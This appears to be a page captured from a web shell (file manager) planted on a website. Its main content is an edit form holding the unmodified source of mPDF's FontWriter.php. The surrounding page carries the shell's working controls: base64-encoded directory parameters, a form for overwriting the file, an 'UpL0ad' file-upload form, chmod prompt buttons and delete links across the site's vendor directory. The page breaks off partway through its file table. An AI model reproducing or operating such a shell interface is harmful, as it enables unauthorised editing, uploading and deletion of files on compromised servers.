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<hr>FontWriter.php<form method=post action="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg%3D%3D&f=Rm9udFdyaXRlci5waHA%3D"><input name="f" value="FontWriter.php"><textarea name="t">&lt;?php

namespace Mpdf\Writer;

use Mpdf\Strict;

use Mpdf\Fonts\FontCache;
use Mpdf\Mpdf;
use Mpdf\TTFontFile;

class FontWriter
{

	use Strict;

	/**
	 * @var \Mpdf\Mpdf
	 */
	private $mpdf;

	/**
	 * @var \Mpdf\Writer\BaseWriter
	 */
	private $writer;

	/**
	 * @var \Mpdf\Fonts\FontCache
	 */
	private $fontCache;

	/**
	 * @var string
	 */
	private $fontDescriptor;

	public function __construct(Mpdf $mpdf, BaseWriter $writer, FontCache $fontCache, $fontDescriptor)
	{
		$this-&gt;mpdf = $mpdf;
		$this-&gt;writer = $writer;
		$this-&gt;fontCache = $fontCache;
		$this-&gt;fontDescriptor = $fontDescriptor;
	}

	public function writeFonts()
	{
		foreach ($this-&gt;mpdf-&gt;FontFiles as $fontkey =&gt; $info) {
			// TrueType embedded
			if (isset($info['type']) &amp;&amp; $info['type'] === 'TTF' &amp;&amp; !$info['sip'] &amp;&amp; !$info['smp']) {
				$used = true;
				$asSubset = false;
				foreach ($this-&gt;mpdf-&gt;fonts as $k =&gt; $f) {
					if (isset($f['fontkey']) &amp;&amp; $f['fontkey'] === $fontkey &amp;&amp; $f['type'] === 'TTF') {
						$used = $f['used'];
						if ($used) {
							$nChars = (ord($f['cw'][0]) &lt;&lt; 8) + ord($f['cw'][1]);
							$usage = (int) (count($f['subset']) * 100 / $nChars);
							$fsize = $info['length1'];
							// Always subset the very large TTF files
							if ($fsize &gt; ($this-&gt;mpdf-&gt;maxTTFFilesize * 1024)) {
								$asSubset = true;
							} elseif ($usage &lt; $this-&gt;mpdf-&gt;percentSubset) {
								$asSubset = true;
							}
						}
						if ($this-&gt;mpdf-&gt;PDFA || $this-&gt;mpdf-&gt;PDFX) {
							$asSubset = false;
						}
						$this-&gt;mpdf-&gt;fonts[$k]['asSubset'] = $asSubset;
						break;
					}
				}
				if ($used &amp;&amp; !$asSubset) {
					// Font file embedding
					$this-&gt;writer-&gt;object();
					$this-&gt;mpdf-&gt;FontFiles[$fontkey]['n'] = $this-&gt;mpdf-&gt;n;
					$originalsize = $info['length1'];
					if ($this-&gt;mpdf-&gt;repackageTTF || $this-&gt;mpdf-&gt;fonts[$fontkey]['TTCfontID'] &gt; 0 || $this-&gt;mpdf-&gt;fonts[$fontkey]['useOTL'] &gt; 0) { // mPDF 5.7.1
						// First see if there is a cached compressed file
						if ($this-&gt;fontCache-&gt;has($fontkey . '.ps.z') &amp;&amp; $this-&gt;fontCache-&gt;jsonHas($fontkey . '.ps.json')) {
							$font = $this-&gt;fontCache-&gt;load($fontkey . '.ps.z');
							$originalsize = $this-&gt;fontCache-&gt;jsonLoad($fontkey . '.ps.json');  // sets $originalsize (of repackaged font)
						} else {
							$ttf = new TTFontFile($this-&gt;fontCache, $this-&gt;fontDescriptor);
							$font = $ttf-&gt;repackageTTF($this-&gt;mpdf-&gt;FontFiles[$fontkey]['ttffile'], $this-&gt;mpdf-&gt;fonts[$fontkey]['TTCfontID'], $this-&gt;mpdf-&gt;debugfonts, $this-&gt;mpdf-&gt;fonts[$fontkey]['useOTL']); // mPDF 5.7.1

							$originalsize = strlen($font);
							$font = gzcompress($font);
							unset($ttf);

							$this-&gt;fontCache-&gt;binaryWrite($fontkey . '.ps.z', $font);
							$this-&gt;fontCache-&gt;jsonWrite($fontkey . '.ps.json', $originalsize);
						}
					} elseif ($this-&gt;fontCache-&gt;has($fontkey . '.z')) {
						$font = $this-&gt;fontCache-&gt;load($fontkey . '.z');
					} else {
						$font = file_get_contents($this-&gt;mpdf-&gt;FontFiles[$fontkey]['ttffile']);
						$font = gzcompress($font);
						$this-&gt;fontCache-&gt;binaryWrite($fontkey . '.z', $font);
					}

					$this-&gt;writer-&gt;write('&lt;&lt;/Length ' . strlen($font));
					$this-&gt;writer-&gt;write('/Filter /FlateDecode');
					$this-&gt;writer-&gt;write('/Length1 ' . $originalsize);
					$this-&gt;writer-&gt;write('&gt;&gt;');
					$this-&gt;writer-&gt;stream($font);
					$this-&gt;writer-&gt;write('endobj');
				}
			}
		}

		foreach ($this-&gt;mpdf-&gt;fonts as $k =&gt; $font) {

			// Font objects
			$type = $font['type'];
			$name = $font['name'];

			if ($type === 'TTF' &amp;&amp; (!isset($font['used']) || !$font['used'])) {
				continue;
			}

			// @log Writing fonts

			if (isset($font['asSubset'])) {
				$asSubset = $font['asSubset'];
			} else {
				$asSubset = '';
			}

			if ($type === 'Type0') {  // Adobe CJK Fonts

				$this-&gt;mpdf-&gt;fonts[$k]['n'] = $this-&gt;mpdf-&gt;n + 1;
				$this-&gt;writer-&gt;object();
				$this-&gt;writer-&gt;write('&lt;&lt;/Type /Font');
				$this-&gt;writeType0($font);

			} elseif ($type === 'core') {

				// Standard font
				$this-&gt;mpdf-&gt;fonts[$k]['n'] = $this-&gt;mpdf-&gt;n + 1;

				if ($this-&gt;mpdf-&gt;PDFA || $this-&gt;mpdf-&gt;PDFX) {
					throw new \Mpdf\MpdfException('Core fonts are not allowed in PDF/A1-b or PDFX/1-a files (Times, Helvetica, Courier etc.)');
				}

				$this-&gt;writer-&gt;object();
				$this-&gt;writer-&gt;write('&lt;&lt;/Type /Font');
				$this-&gt;writer-&gt;write('/BaseFont /' . $name);
				$this-&gt;writer-&gt;write('/Subtype /Type1');

				if ($name !== 'Symbol' &amp;&amp; $name !== 'ZapfDingbats') {
					$this-&gt;writer-&gt;write('/Encoding /WinAnsiEncoding');
				}

				$this-&gt;writer-&gt;write('&gt;&gt;');
				$this-&gt;writer-&gt;write('endobj');

			} elseif ($type === 'TTF' &amp;&amp; ($font['sip'] || $font['smp'])) {

				// TrueType embedded SUBSETS for SIP (CJK extB containing Supplementary Ideographic Plane 2)
				// Or Unicode Plane 1 - Supplementary Multilingual Plane

				if (!$font['used']) {
					continue;
				}

				$ssfaid = 'AA';
				$ttf = new TTFontFile($this-&gt;fontCache, $this-&gt;fontDescriptor);
				$subsetCount = count($font['subsetfontids']);
				for ($sfid = 0; $sfid &lt; $subsetCount; $sfid++) {
					$this-&gt;mpdf-&gt;fonts[$k]['n'][$sfid] = $this-&gt;mpdf-&gt;n + 1;  // NB an array for subset
					$subsetname = 'MPDF' . $ssfaid . '+' . $font['name'];
					$ssfaid++;

					/* For some strange reason a subset ($sfid &gt; 0) containing less than 97 characters causes an error
					  so fill up the array */
					for ($j = count($font['subsets'][$sfid]); $j &lt; 98; $j++) {
						$font['subsets'][$sfid][$j] = 0;
					}

					$subset = $font['subsets'][$sfid];
					unset($subset[0]);
					$ttfontstream = $ttf-&gt;makeSubsetSIP($font['ttffile'], $subset, $font['TTCfontID'], $this-&gt;mpdf-&gt;debugfonts, $font['useOTL']); // mPDF 5.7.1
					$ttfontsize = strlen($ttfontstream);
					$fontstream = gzcompress($ttfontstream);
					$widthstring = '';
					$toUnistring = '';

					foreach ($font['subsets'][$sfid] as $cp =&gt; $u) {
						$w = $this-&gt;mpdf-&gt;_getCharWidth($font['cw'], $u);
						if ($w !== false) {
							$widthstring .= $w . ' ';
						} else {
							$widthstring .= round($ttf-&gt;defaultWidth) . ' ';
						}
						if ($u &gt; 65535) {
							$utf8 = chr(($u &gt;&gt; 18) + 240) . chr((($u &gt;&gt; 12) &amp; 63) + 128) . chr((($u &gt;&gt; 6) &amp; 63) + 128) . chr(($u &amp; 63) + 128);
							$utf16 = mb_convert_encoding($utf8, 'UTF-16BE', 'UTF-8');
							$l1 = ord($utf16[0]);
							$h1 = ord($utf16[1]);
							$l2 = ord($utf16[2]);
							$h2 = ord($utf16[3]);
							$toUnistring .= sprintf(&quot;&lt;%02s&gt; &lt;%02s%02s%02s%02s&gt;\n&quot;, strtoupper(dechex($cp)), strtoupper(dechex($l1)), strtoupper(dechex($h1)), strtoupper(dechex($l2)), strtoupper(dechex($h2)));
						} else {
							$toUnistring .= sprintf(&quot;&lt;%02s&gt; &lt;%04s&gt;\n&quot;, strtoupper(dechex($cp)), strtoupper(dechex($u)));
						}
					}

					// Additional Type1 or TrueType font
					$this-&gt;writer-&gt;object();
					$this-&gt;writer-&gt;write('&lt;&lt;/Type /Font');
					$this-&gt;writer-&gt;write('/BaseFont /' . $subsetname);
					$this-&gt;writer-&gt;write('/Subtype /TrueType');
					$this-&gt;writer-&gt;write('/FirstChar 0 /LastChar ' . (count($font['subsets'][$sfid]) - 1));
					$this-&gt;writer-&gt;write('/Widths ' . ($this-&gt;mpdf-&gt;n + 1) . ' 0 R');
					$this-&gt;writer-&gt;write('/FontDescriptor ' . ($this-&gt;mpdf-&gt;n + 2) . ' 0 R');
					$this-&gt;writer-&gt;write('/ToUnicode ' . ($this-&gt;mpdf-&gt;n + 3) . ' 0 R');
					$this-&gt;writer-&gt;write('&gt;&gt;');
					$this-&gt;writer-&gt;write('endobj');

					// Widths
					$this-&gt;writer-&gt;object();
					$this-&gt;writer-&gt;write('[' . $widthstring . ']');
					$this-&gt;writer-&gt;write('endobj');

					// Descriptor
					$this-&gt;writer-&gt;object();
					$s = '&lt;&lt;/Type /FontDescriptor /FontName /' . $subsetname . &quot;\n&quot;;
					foreach ($font['desc'] as $kd =&gt; $v) {
						if ($kd === 'Flags') {
							$v |= 4;
							$v &amp;= ~32;
						} // SYMBOLIC font flag
						$s .= ' /' . $kd . ' ' . $v . &quot;\n&quot;;
					}
					$s .= '/FontFile2 ' . ($this-&gt;mpdf-&gt;n + 2) . ' 0 R';
					$this-&gt;writer-&gt;write($s . '&gt;&gt;');
					$this-&gt;writer-&gt;write('endobj');

					// ToUnicode
					$this-&gt;writer-&gt;object();
					$toUni = &quot;/CIDInit /ProcSet findresource begin\n&quot;;
					$toUni .= &quot;12 dict begin\n&quot;;
					$toUni .= &quot;begincmap\n&quot;;
					$toUni .= &quot;/CIDSystemInfo\n&quot;;
					$toUni .= &quot;&lt;&lt;/Registry (Adobe)\n&quot;;
					$toUni .= &quot;/Ordering (UCS)\n&quot;;
					$toUni .= &quot;/Supplement 0\n&quot;;
					$toUni .= &quot;&gt;&gt; def\n&quot;;
					$toUni .= &quot;/CMapName /Adobe-Identity-UCS def\n&quot;;
					$toUni .= &quot;/CMapType 2 def\n&quot;;
					$toUni .= &quot;1 begincodespacerange\n&quot;;
					$toUni .= &quot;&lt;00&gt; &lt;FF&gt;\n&quot;;
					// $toUni .= sprintf(&quot;&lt;00&gt; &lt;%02s&gt;\n&quot;, strtoupper(dechex(count($font['subsets'][$sfid])-1)));
					$toUni .= &quot;endcodespacerange\n&quot;;
					$toUni .= count($font['subsets'][$sfid]) . &quot; beginbfchar\n&quot;;
					$toUni .= $toUnistring;
					$toUni .= &quot;endbfchar\n&quot;;
					$toUni .= &quot;endcmap\n&quot;;
					$toUni .= &quot;CMapName currentdict /CMap defineresource pop\n&quot;;
					$toUni .= &quot;end\n&quot;;
					$toUni .= &quot;end\n&quot;;
					$this-&gt;writer-&gt;write('&lt;&lt;/Length ' . strlen($toUni) . '&gt;&gt;');
					$this-&gt;writer-&gt;stream($toUni);
					$this-&gt;writer-&gt;write('endobj');

					// Font file
					$this-&gt;writer-&gt;object();
					$this-&gt;writer-&gt;write('&lt;&lt;/Length ' . strlen($fontstream));
					$this-&gt;writer-&gt;write('/Filter /FlateDecode');
					$this-&gt;writer-&gt;write('/Length1 ' . $ttfontsize);
					$this-&gt;writer-&gt;write('&gt;&gt;');
					$this-&gt;writer-&gt;stream($fontstream);
					$this-&gt;writer-&gt;write('endobj');
				} // foreach subset
				unset($ttf);

			} elseif ($type === 'TTF') {  // TrueType embedded SUBSETS or FULL

				$this-&gt;mpdf-&gt;fonts[$k]['n'] = $this-&gt;mpdf-&gt;n + 1;

				if ($asSubset) {
					$ssfaid = 'A';
					$ttf = new TTFontFile($this-&gt;fontCache, $this-&gt;fontDescriptor);
					$fontname = 'MPDFA' . $ssfaid . '+' . $font['name'];
					$subset = $font['subset'];
					unset($subset[0]);
					$ttfontstream = $ttf-&gt;makeSubset($font['ttffile'], $subset, $font['TTCfontID'], $this-&gt;mpdf-&gt;debugfonts, $font['useOTL']);
					$ttfontsize = strlen($ttfontstream);
					$fontstream = gzcompress($ttfontstream);
					$codeToGlyph = $ttf-&gt;codeToGlyph;
					unset($codeToGlyph[0]);
				} else {
					$fontname = $font['name'];
				}

				// Type0 Font
				// A composite font - a font composed of other fonts, organized hierarchically
				$this-&gt;writer-&gt;object();
				$this-&gt;writer-&gt;write('&lt;&lt;/Type /Font');
				$this-&gt;writer-&gt;write('/Subtype /Type0');
				$this-&gt;writer-&gt;write('/BaseFont /' . $fontname . '');
				$this-&gt;writer-&gt;write('/Encoding /Identity-H');
				$this-&gt;writer-&gt;write('/DescendantFonts [' . ($this-&gt;mpdf-&gt;n + 1) . ' 0 R]');
				$this-&gt;writer-&gt;write('/ToUnicode ' . ($this-&gt;mpdf-&gt;n + 2) . ' 0 R');
				$this-&gt;writer-&gt;write('&gt;&gt;');
				$this-&gt;writer-&gt;write('endobj');

				// CIDFontType2
				// A CIDFont whose glyph descriptions are based on TrueType font technology
				$this-&gt;writer-&gt;object();
				$this-&gt;writer-&gt;write('&lt;&lt;/Type /Font');
				$this-&gt;writer-&gt;write('/Subtype /CIDFontType2');
				$this-&gt;writer-&gt;write('/BaseFont /' . $fontname . '');
				$this-&gt;writer-&gt;write('/CIDSystemInfo ' . ($this-&gt;mpdf-&gt;n + 2) . ' 0 R');
				$this-&gt;writer-&gt;write('/FontDescriptor ' . ($this-&gt;mpdf-&gt;n + 3) . ' 0 R');

				if (isset($font['desc']['MissingWidth'])) {
					$this-&gt;writer-&gt;write('/DW ' . $font['desc']['MissingWidth'] . '');
				}

				if (!$asSubset &amp;&amp; $this-&gt;fontCache-&gt;has($font['fontkey'] . '.cw')) {
					$w = $this-&gt;fontCache-&gt;load($font['fontkey'] . '.cw');
					$this-&gt;writer-&gt;write($w);
				} else {
					$this-&gt;writeTTFontWidths($font, $asSubset, ($asSubset ? $ttf-&gt;maxUni : 0));
				}

				$this-&gt;writer-&gt;write('/CIDToGIDMap ' . ($this-&gt;mpdf-&gt;n + 4) . ' 0 R');
				$this-&gt;writer-&gt;write('&gt;&gt;');
				$this-&gt;writer-&gt;write('endobj');

				// ToUnicode
				$this-&gt;writer-&gt;object();
				$toUni = &quot;/CIDInit /ProcSet findresource begin\n&quot;;
				$toUni .= &quot;12 dict begin\n&quot;;
				$toUni .= &quot;begincmap\n&quot;;
				$toUni .= &quot;/CIDSystemInfo\n&quot;;
				$toUni .= &quot;&lt;&lt;/Registry (Adobe)\n&quot;;
				$toUni .= &quot;/Ordering (UCS)\n&quot;;
				$toUni .= &quot;/Supplement 0\n&quot;;
				$toUni .= &quot;&gt;&gt; def\n&quot;;
				$toUni .= &quot;/CMapName /Adobe-Identity-UCS def\n&quot;;
				$toUni .= &quot;/CMapType 2 def\n&quot;;
				$toUni .= &quot;1 begincodespacerange\n&quot;;
				$toUni .= &quot;&lt;0000&gt; &lt;FFFF&gt;\n&quot;;
				$toUni .= &quot;endcodespacerange\n&quot;;
				$toUni .= &quot;1 beginbfrange\n&quot;;
				$toUni .= &quot;&lt;0000&gt; &lt;FFFF&gt; &lt;0000&gt;\n&quot;;
				$toUni .= &quot;endbfrange\n&quot;;
				$toUni .= &quot;endcmap\n&quot;;
				$toUni .= &quot;CMapName currentdict /CMap defineresource pop\n&quot;;
				$toUni .= &quot;end\n&quot;;
				$toUni .= &quot;end\n&quot;;

				$this-&gt;writer-&gt;write('&lt;&lt;/Length ' . strlen($toUni) . '&gt;&gt;');
				$this-&gt;writer-&gt;stream($toUni);
				$this-&gt;writer-&gt;write('endobj');

				// CIDSystemInfo dictionary
				$this-&gt;writer-&gt;object();
				$this-&gt;writer-&gt;write('&lt;&lt;/Registry (Adobe)');
				$this-&gt;writer-&gt;write('/Ordering (UCS)');
				$this-&gt;writer-&gt;write('/Supplement 0');
				$this-&gt;writer-&gt;write('&gt;&gt;');
				$this-&gt;writer-&gt;write('endobj');

				// Font descriptor
				$this-&gt;writer-&gt;object();
				$this-&gt;writer-&gt;write('&lt;&lt;/Type /FontDescriptor');
				$this-&gt;writer-&gt;write('/FontName /' . $fontname);

				foreach ($font['desc'] as $kd =&gt; $v) {
					if ($asSubset &amp;&amp; $kd === 'Flags') {
						$v |= 4;
						$v &amp;= ~32;
					} // SYMBOLIC font flag
					$this-&gt;writer-&gt;write(' /' . $kd . ' ' . $v);
				}

				if ($font['panose']) {
					$this-&gt;writer-&gt;write(' /Style &lt;&lt; /Panose &lt;' . $font['panose'] . '&gt; &gt;&gt;');
				}

				if ($asSubset) {
					$this-&gt;writer-&gt;write('/FontFile2 ' . ($this-&gt;mpdf-&gt;n + 2) . ' 0 R');
				} elseif ($font['fontkey']) {
					// obj ID of a stream containing a TrueType font program
					$this-&gt;writer-&gt;write('/FontFile2 ' . $this-&gt;mpdf-&gt;FontFiles[$font['fontkey']]['n'] . ' 0 R');
				}

				$this-&gt;writer-&gt;write('&gt;&gt;');
				$this-&gt;writer-&gt;write('endobj');

				// Embed CIDToGIDMap
				// A specification of the mapping from CIDs to glyph indices
				if ($asSubset) {
					$cidtogidmap = str_pad('', 256 * 256 * 2, &quot;\x00&quot;);
					foreach ($codeToGlyph as $cc =&gt; $glyph) {
						$cidtogidmap[$cc * 2] = chr($glyph &gt;&gt; 8);
						$cidtogidmap[$cc * 2 + 1] = chr($glyph &amp; 0xFF);
					}
					$cidtogidmap = gzcompress($cidtogidmap);
				} else {
					// First see if there is a cached CIDToGIDMapfile
					if ($this-&gt;fontCache-&gt;has($font['fontkey'] . '.cgm')) {
						$cidtogidmap = $this-&gt;fontCache-&gt;load($font['fontkey'] . '.cgm');
					} else {
						$ttf = new TTFontFile($this-&gt;fontCache, $this-&gt;fontDescriptor);
						$charToGlyph = $ttf-&gt;getCTG($font['ttffile'], $font['TTCfontID'], $this-&gt;mpdf-&gt;debugfonts, $font['useOTL']);
						$cidtogidmap = str_pad('', 256 * 256 * 2, &quot;\x00&quot;);
						foreach ($charToGlyph as $cc =&gt; $glyph) {
							$cidtogidmap[$cc * 2] = chr($glyph &gt;&gt; 8);
							$cidtogidmap[$cc * 2 + 1] = chr($glyph &amp; 0xFF);
						}
						unset($ttf);
						$cidtogidmap = gzcompress($cidtogidmap);
						$this-&gt;fontCache-&gt;binaryWrite($font['fontkey'] . '.cgm', $cidtogidmap);
					}
				}
				$this-&gt;writer-&gt;object();
				$this-&gt;writer-&gt;write('&lt;&lt;/Length ' . strlen($cidtogidmap) . '');
				$this-&gt;writer-&gt;write('/Filter /FlateDecode');
				$this-&gt;writer-&gt;write('&gt;&gt;');
				$this-&gt;writer-&gt;stream($cidtogidmap);
				$this-&gt;writer-&gt;write('endobj');

				// Font file
				if ($asSubset) {
					$this-&gt;writer-&gt;object();
					$this-&gt;writer-&gt;write('&lt;&lt;/Length ' . strlen($fontstream));
					$this-&gt;writer-&gt;write('/Filter /FlateDecode');
					$this-&gt;writer-&gt;write('/Length1 ' . $ttfontsize);
					$this-&gt;writer-&gt;write('&gt;&gt;');
					$this-&gt;writer-&gt;stream($fontstream);
					$this-&gt;writer-&gt;write('endobj');
					unset($ttf);
				}
			} else {
				throw new \Mpdf\MpdfException(sprintf('Unsupported font type: %s (%s)', $type, $name));
			}
		}
	}

	private function writeTTFontWidths(&amp;$font, $asSubset, $maxUni) // _putTTfontwidths
	{
		$character = [
			'startcid' =&gt; 1,
			'rangeid' =&gt; 0,
			'prevcid' =&gt; -2,
			'prevwidth' =&gt; -1,
			'interval' =&gt; false,
			'range' =&gt; [],
		];

		$fontCacheFilename = $font['fontkey'] . '.cw127.json';
		if ($asSubset &amp;&amp; $this-&gt;fontCache-&gt;jsonHas($fontCacheFilename)) {
			$character = $this-&gt;fontCache-&gt;jsonLoad($fontCacheFilename);
			$character['startcid'] = 128;
		}

		// for each character
		$cwlen = ($asSubset) ? $maxUni + 1 : (strlen($font['cw']) / 2);
		for ($cid = $character['startcid']; $cid &lt; $cwlen; $cid++) {
			if ($cid == 128 &amp;&amp; $asSubset &amp;&amp; (!$this-&gt;fontCache-&gt;has($fontCacheFilename))) {
				$character = [
					'rangeid' =&gt; $character['rangeid'],
					'prevcid' =&gt; $character['prevcid'],
					'prevwidth' =&gt; $character['prevwidth'],
					'interval' =&gt; $character['interval'],
					'range' =&gt; $character['range'],
				];

				$this-&gt;fontCache-&gt;jsonWrite($fontCacheFilename, $character);
			}

			$character1 = isset($font['cw'][$cid * 2]) ? $font['cw'][$cid * 2] : '';
			$character2 = isset($font['cw'][$cid * 2 + 1]) ? $font['cw'][$cid * 2 + 1] : '';

			if ($character1 === &quot;\00&quot; &amp;&amp; $character2 === &quot;\00&quot;) {
				continue;
			}

			$width = (ord($character1) &lt;&lt; 8) + ord($character2);

			if ($width === 65535) {
				$width = 0;
			}

			if ($asSubset &amp;&amp; $cid &gt; 255 &amp;&amp; (!isset($font['subset'][$cid]) || !$font['subset'][$cid])) {
				continue;
			}

			if ($asSubset &amp;&amp; $cid &gt; 0xFFFF) {
				continue;
			} // mPDF 6

			if (!isset($font['dw']) || (isset($font['dw']) &amp;&amp; $width != $font['dw'])) {
				if ($cid === ($character['prevcid'] + 1)) {
					// consecutive CID
					if ($width === $character['prevwidth']) {
						if (isset($character['range'][$character['rangeid']][0]) &amp;&amp; $width === $character['range'][$character['rangeid']][0]) {
							$character['range'][$character['rangeid']][] = $width;
						} else {
							array_pop($character['range'][$character['rangeid']]);
							// new range
							$character['rangeid'] = $character['prevcid'];
							$character['range'][$character['rangeid']] = [];
							$character['range'][$character['rangeid']][] = $character['prevwidth'];
							$character['range'][$character['rangeid']][] = $width;
						}
						$character['interval'] = true;
						$character['range'][$character['rangeid']]['interval'] = true;
					} else {
						if ($character['interval']) {
							// new range
							$character['rangeid'] = $cid;
							$character['range'][$character['rangeid']] = [];
							$character['range'][$character['rangeid']][] = $width;
						} else {
							$character['range'][$character['rangeid']][] = $width;
						}
						$character['interval'] = false;
					}
				} else {
					// new range
					$character['rangeid'] = $cid;
					$character['range'][$character['rangeid']] = [];
					$character['range'][$character['rangeid']][] = $width;
					$character['interval'] = false;
				}
				$character['prevcid'] = $cid;
				$character['prevwidth'] = $width;
			}
		}
		$w = $this-&gt;writeFontRanges($character['range']);
		$this-&gt;writer-&gt;write($w);
		if (!$asSubset) {
			$this-&gt;fontCache-&gt;binaryWrite($font['fontkey'] . '.cw', $w);
		}
	}

	private function writeFontRanges(&amp;$range) // _putfontranges
	{
		// optimize ranges
		$prevk = -1;
		$nextk = -1;
		$prevint = false;
		foreach ($range as $k =&gt; $ws) {
			$cws = count($ws);
			if (($k == $nextk) and ( !$prevint) and ( (!isset($ws['interval'])) or ( $cws &lt; 4))) {
				if (isset($range[$k]['interval'])) {
					unset($range[$k]['interval']);
				}
				$range[$prevk] = array_merge($range[$prevk], $range[$k]);
				unset($range[$k]);
			} else {
				$prevk = $k;
			}
			$nextk = $k + $cws;
			if (isset($ws['interval'])) {
				if ($cws &gt; 3) {
					$prevint = true;
				} else {
					$prevint = false;
				}
				unset($range[$k]['interval']);
				--$nextk;
			} else {
				$prevint = false;
			}
		}
		// output data
		$w = '';
		foreach ($range as $k =&gt; $ws) {
			if (count(array_count_values($ws)) === 1) {
				// interval mode is more compact
				$w .= ' ' . $k . ' ' . ($k + count($ws) - 1) . ' ' . $ws[0];
			} else {
				// range mode
				$w .= ' ' . $k . ' [ ' . implode(' ', $ws) . ' ]' . &quot;\n&quot;;
			}
		}
		return '/W [' . $w . ' ]';
	}

	private function writeFontWidths(&amp;$font, $cidoffset = 0) // _putfontwidths
	{
		ksort($font['cw']);
		unset($font['cw'][65535]);
		$rangeid = 0;
		$range = [];
		$prevcid = -2;
		$prevwidth = -1;
		$interval = false;
		// for each character
		foreach ($font['cw'] as $cid =&gt; $width) {
			$cid -= $cidoffset;
			if (!isset($font['dw']) || (isset($font['dw']) &amp;&amp; $width != $font['dw'])) {
				if ($cid === ($prevcid + 1)) {
					// consecutive CID
					if ($width === $prevwidth) {
						if ($width === $range[$rangeid][0]) {
							$range[$rangeid][] = $width;
						} else {
							array_pop($range[$rangeid]);
							// new range
							$rangeid = $prevcid;
							$range[$rangeid] = [];
							$range[$rangeid][] = $prevwidth;
							$range[$rangeid][] = $width;
						}
						$interval = true;
						$range[$rangeid]['interval'] = true;
					} else {
						if ($interval) {
							// new range
							$rangeid = $cid;
							$range[$rangeid] = [];
							$range[$rangeid][] = $width;
						} else {
							$range[$rangeid][] = $width;
						}
						$interval = false;
					}
				} else {
					// new range
					$rangeid = $cid;
					$range[$rangeid] = [];
					$range[$rangeid][] = $width;
					$interval = false;
				}
				$prevcid = $cid;
				$prevwidth = $width;
			}
		}
		$this-&gt;writer-&gt;write($this-&gt;writeFontRanges($range));
	}

	// from class PDF_Chinese CJK EXTENSIONS
	public function writeType0(&amp;$font) // _putType0
	{
		// Type0
		$this-&gt;writer-&gt;write('/Subtype /Type0');
		$this-&gt;writer-&gt;write('/BaseFont /' . $font['name'] . '-' . $font['CMap']);
		$this-&gt;writer-&gt;write('/Encoding /' . $font['CMap']);
		$this-&gt;writer-&gt;write('/DescendantFonts [' . ($this-&gt;mpdf-&gt;n + 1) . ' 0 R]');
		$this-&gt;writer-&gt;write('&gt;&gt;');
		$this-&gt;writer-&gt;write('endobj');
		// CIDFont
		$this-&gt;writer-&gt;object();
		$this-&gt;writer-&gt;write('&lt;&lt;/Type /Font');
		$this-&gt;writer-&gt;write('/Subtype /CIDFontType0');
		$this-&gt;writer-&gt;write('/BaseFont /' . $font['name']);

		$cidinfo = '/Registry ' . $this-&gt;writer-&gt;string('Adobe');
		$cidinfo .= ' /Ordering ' . $this-&gt;writer-&gt;string($font['registry']['ordering']);
		$cidinfo .= ' /Supplement ' . $font['registry']['supplement'];
		$this-&gt;writer-&gt;write('/CIDSystemInfo &lt;&lt;' . $cidinfo . '&gt;&gt;');

		$this-&gt;writer-&gt;write('/FontDescriptor ' . ($this-&gt;mpdf-&gt;n + 1) . ' 0 R');
		if (isset($font['MissingWidth'])) {
			$this-&gt;writer-&gt;write('/DW ' . $font['MissingWidth'] . '');
		}
		$this-&gt;writeFontWidths($font, 31);
		$this-&gt;writer-&gt;write('&gt;&gt;');
		$this-&gt;writer-&gt;write('endobj');

		// Font descriptor
		$this-&gt;writer-&gt;object();
		$s = '&lt;&lt;/Type /FontDescriptor /FontName /' . $font['name'];
		foreach ($font['desc'] as $k =&gt; $v) {
			if ($k !== 'Style') {
				$s .= ' /' . $k . ' ' . $v . '';
			}
		}
		$this-&gt;writer-&gt;write($s . '&gt;&gt;');
		$this-&gt;writer-&gt;write('endobj');
	}

}
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1s">/home/futureforeverco/public_html</a><hr>curdir: /home/futureforeverco/public_html/vendor/mpdf/mpdf/src/Writer<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>331</td></tr><tr><td></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3Jj"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>247</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&x=QmFja2dyb3VuZFdyaXRlci5waHA=">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=QmFja2dyb3VuZFdyaXRlci5waHA="/>BackgroundWriter.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=QmFja2dyb3VuZFdyaXRlci5waHA=&c=`+btoa(c):0" value="0644"></td><td>15813</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&x=QmFzZVdyaXRlci5waHA=">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=QmFzZVdyaXRlci5waHA="/>BaseWriter.php</a></td><td><input type="button" 